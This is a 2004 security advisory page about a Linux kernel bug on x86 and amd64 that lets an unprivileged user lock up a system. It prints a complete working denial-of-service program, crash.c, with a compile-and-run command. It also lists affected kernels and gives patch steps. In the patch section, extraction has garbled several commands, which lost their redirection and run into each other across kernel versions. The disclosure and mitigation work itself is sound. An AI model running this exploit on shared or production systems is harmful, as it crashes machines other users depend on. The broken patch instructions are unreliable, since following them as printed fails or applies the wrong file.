New Kernel Crash-Exploit discovered Published 2004-06-11 by xiando, v2.1.8, last updated 2004-06-14. A bug lets a simple C program crash the kernel, effectively locking the whole system. Affects both 2.4.2x and 2.6.x kernels on the x86 architecture. -------------------------------------------------------------------------------- The Evil Code The Crashing Kernels The safe kernels The threat How to protect yourself Patch for 2.4.2x (vanilla) Kernels 2.4.26 2.4.25 2.4.2x Kernel 2.4.26-rc3-gentoo 2.6.xx kernels amd64 Bug reports -------------------------------------------------------------------------------- The Evil Code Running this simple C program crashes the Linux kernel. crash.c.txt #include #include #include static void Handler(int ignore) { char fpubuf[108]; __asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf)); write(2, "*", 1); __asm__ __volatile__ ("frstor %0\n" : : "m"(fpubuf)); } int main(int argc, char *argv[]) { struct itimerval spec; signal(SIGALRM, Handler); spec.it_interval.tv_sec=0; spec.it_interval.tv_usec=100; spec.it_value.tv_sec=0; spec.it_value.tv_usec=100; setitimer(ITIMER_REAL, &spec, NULL); while(1) write(1, ".", 1); return 0; } This bug is confirmed to be present when the code is compiled with GCC version 2.96, 3.0, 3.1, 3.2, 3.3 and 3.3.2 and used on Linux kernel versions 2.4.2x and 2.6.x on x86 and amd64 systems. The Crashing Kernels Minor numbers are versions verified, this is just the top the iceberg: Linux 2.6.x 2.6.7-rc2 2.6.6 (vanilla) 2.6.6-rc1 SMP (varified by blaise) 2.6.6 SMP (verified by riven) 2.6.5-gentoo (verified by RatiX) 2.6.5-mm6 - (verified by Mariux) 2.6.5 (fedora core 2 vanilla) 2.6.3-13mdk (Mandrake) Linux 2.4.2x 2.4.26 vanilla 2.4.26, grsecurity 2.0 config 2.4.26-rc1 vanilla 2.4.26-gentoo-r1 2.4.22 2.4.22-1.2188 Fedora FC1 Kernel 2.4.20 RH7.3 (gcc 2.96) 2.4.18-bf2.4 (debian woody vanilla) Even grsecurity-patched kernels crash. "I would have hoped that grsec would have blocked or logged something, but nothing appeared in the logs." Vincent The safe kernels This code does nothing but exit with the error message Floating point exception and can not do any damage to systems running Linux nudge 2.6.5-1um i686 (the user-mode Linux kernel) Dylan Smith Linux Kernel 2.6.4 SMP patched with staircase scheduler Guille Linux kernel 2.4.26-rc3-gentoo (gcc 3.3.3) Linux kernel 2.4.26_pre6-gentoo (gcc 3.3.2) Linux Kernel 2.4.25-gentoo-r1 Charles A. Haines (3G Publishing) 2.2.19-kernel It is unclear why these specific Gentoo patch sets of the 2.4.26 kernel are safe. Other versions of the Gentoo kernel are not. The user-mode Linux kernel 2.6.5-1um is safe. I assume this means other versions of user mode Linux are safe. Linux Kernel 2.6.4 SMP with patches has been reported to be safe. Reporter uses a version patched with Con Kolivas Staircase scheduler (but it only affects to the task scheduler). Gcc version 3.3.3. "System did not crash, I left the crash program 10 minutes and after that i killed the task and I continued using my system". Guille The glitch is verified present in Linux 2.5.6 SMP and Linux 2.6.6 SMP. The bug is not present in 2.2.19, it seems this bug only affects 2.4 and later. The threat Using this exploit to crash Linux systems requires the (ab)user to have shell access or other means of uploading and running the program (like cgi-bin and FTP access). The program works on any normal user account, root access is not required. This exploit has been reported used to take down several "lame free-shell providers" servers (running code you know will damage a system intentionally and hacking in general is illegal in most parts of the world and strongly discouraged). This code only works on x86 Linux machines. This code does not compile (makes no executable) on sparc64 sun4u TI UltraSparc II (BlackBird). This doesn't affect NetBSD Stable. SMP systems can be compromised, but a separate instance of the program is required for each CPU before the system halts. Each instance of the program code will lock one CPU and this process can not be killed. If you have two CPUs the second instance of the program kills the entire machine. Check your own system yourself if you are wondering if this affects you. Better safe than sorry. Assume it will crash, sync (even unmount) your file systems before testing. If your system is a production server with 1000 on line users then do not test this code on that box. How to protect yourself The last days were frustrating. Compiling a large number of different kernel versions just to find that gcc crash.c -o evil && ./evil halts the system is quite dull. I hoped some kernels would be unaffected because 2.4.26-rc3-gentoo and 2.4.26_pre6-gentoo are, but sadly almost all kernels versions die when evil is executed. The Linux Kernel mailing list is found to the right of this article. You may find solutions there not mentioned on this page. The author does subscribe and plans to post (better) solutions here as they appear. Patch for 2.4.2x (vanilla) Kernels This just in: 2.4.26_i387.h_patch.txt may be a better solution for 2.4.xx kernels (gentoo bugzilla). not tested by yours truly Stian Skjelstad mailed me a working patch 2.4 kernels. 2.4.26 I applied it, confirmed that it works with the vanilla 2.4.26 kernel and made a diff (diff -ur linux-2.4.26/kernel/signal.c linux-2.4.26-x/kernel/signal.c > signal.c-2.4.26.patch.txt). (signal.c-2.4.26.patch.txt) Read the Kernel Rebuild Guide if this is your first time compiling your own kernel Download linux-2.4.26.tar.bz2 from your local Linux Kernel Mirror Unpack the kernel source and make a symbolic link: cd /usr/src/ tar xfvj linux-2.4.26.tar.bz2 ln -s linux-2.4.26 linux Download the patch for 2.4.26: signal.c-2.4.26.patch.txt Apply the patch patch -p1 -d /usr/src/linux-2.4.26 signal.c-2.4.21.patch.txt) is tested and works for Kernel 2.4.21 (vanilla). Get a vanilla 2.4.21 kernel and install it. Apply the patch patch -p1 -d /usr/src/linux-2.4.26 2.4.26-rc3-gentoo. I have no idea why this kernel version is safe from this exploit. It just is. This kernel patch set returns Floating point exception instead of locking the system when evil is executed. This kernel can be used on any Linux system. It does not require any Gentoo-only tools. Read the Kernel Rebuild Guide if this is your first time compiling your own kernel Download linux-2.4.25.tar.bz2 from your local Linux Kernel Mirror Get the patch set for Gentoo 2.4.26-rc3-gentoo (mirror1) (mirror2) aka 2.4.26_pre5: wget http://re.a.la/gs (2,2M) Unpack the 2.4.25 kernel source: cd /usr/src/ tar xfvj linux-2.4.25.tar.bz2 Apply the Gentoo patchset: patch -p1 -d /usr/src/linux-2.4.25 "EXTRAVERSION = -rc3-gentoo" Configure your kernel Using your old config: cp /usr/src/linux-oldversion/.config .config && make oldconfig The Linux kernel can be configured with make menuconfig (CLI) and make xconfig (GUI) Compile your new kernel and install as usual: make dep bzImage modules modules_install mount /boot (some distributions mount /boot on startup) cp arch/i386/boot/bzImage /boot You may want to call your new kernel something else and edit Grub or Lilos configuration. Congratulations. You are now running the 2.4.26-rc3-gentoo kernel. 2.6.xx kernels A patch for i387.h (2.6.7-rc3-bk5_i387.h.patch.txt) included in kernel 2.6.7-rc3-bk5 has been tested successfully on 2.6.5 and 2.6.7-rc3 by Marc Ballarin It is tested successfully on Linux-2.6.7-rc2 by yours truly. The i387.h patch seems to be the best solution. When evil is executed it does not freeze the system, but unlike the other alternative patches it does leave evil running at 99.9% CPU. It can be stopped with ctrl-c, kill and killall. Read the Kernel Rebuild Guide if this is your first time compiling your own kernel Get a kernel from kernel.org and unpack it to /usr/src Get 2.6.7-rc3-bk5_i387.h.patch.txt patch -p1 -d /usr/src/linux-2.6.7-rc2 <2.6.7-rc3-bk5_i387.h.patch.txt Follow the usual steps. Other solutions: Andi Kleen has posted a patch for linux-2.6.7rc3 in the linux-kernel mail list available at PATCH fix for Re: timer + fpu stuff locks my console race. http://lkml.org/lkml/2004/6/12/88 Raw message: andi_kleen_patch.txt Stian Skjelstad's patch also works with 2.6.7 http://lkml.org/lkml/2004/6/12/64 Sergey Vlasov has a solution at http://lkml.org/lkml/2004/6/12/81 amd64 IMPORTANT: amd64 is affected as well. The fix is the same as on x86 (it's included in 2.6.7-rc3-bk6). The file that needs the change is include/asm-x86_64/i387.h Ballarin Marc Bug reports The exploit was reported as gcc bug 15905 2004-06-09. This is reported to the linux-kernel list with the subject timer + fpu stuff locks my console race. Reported to Gentoo Bugzilla as bug 53804 -------------------------------------------------------------------------------- The lastest version of this documents is available at http://linuxreviews.org/ - Page source: t2t:2004-06-11_kernel_crash.t2t.tar.bz2 Copyright (c) 2000-2004 Øyvind Sæther. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.2 or any later version published by the Free Software Foundation; with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts. A copy of the license is included in the section entitled "GNU Free Documentation License".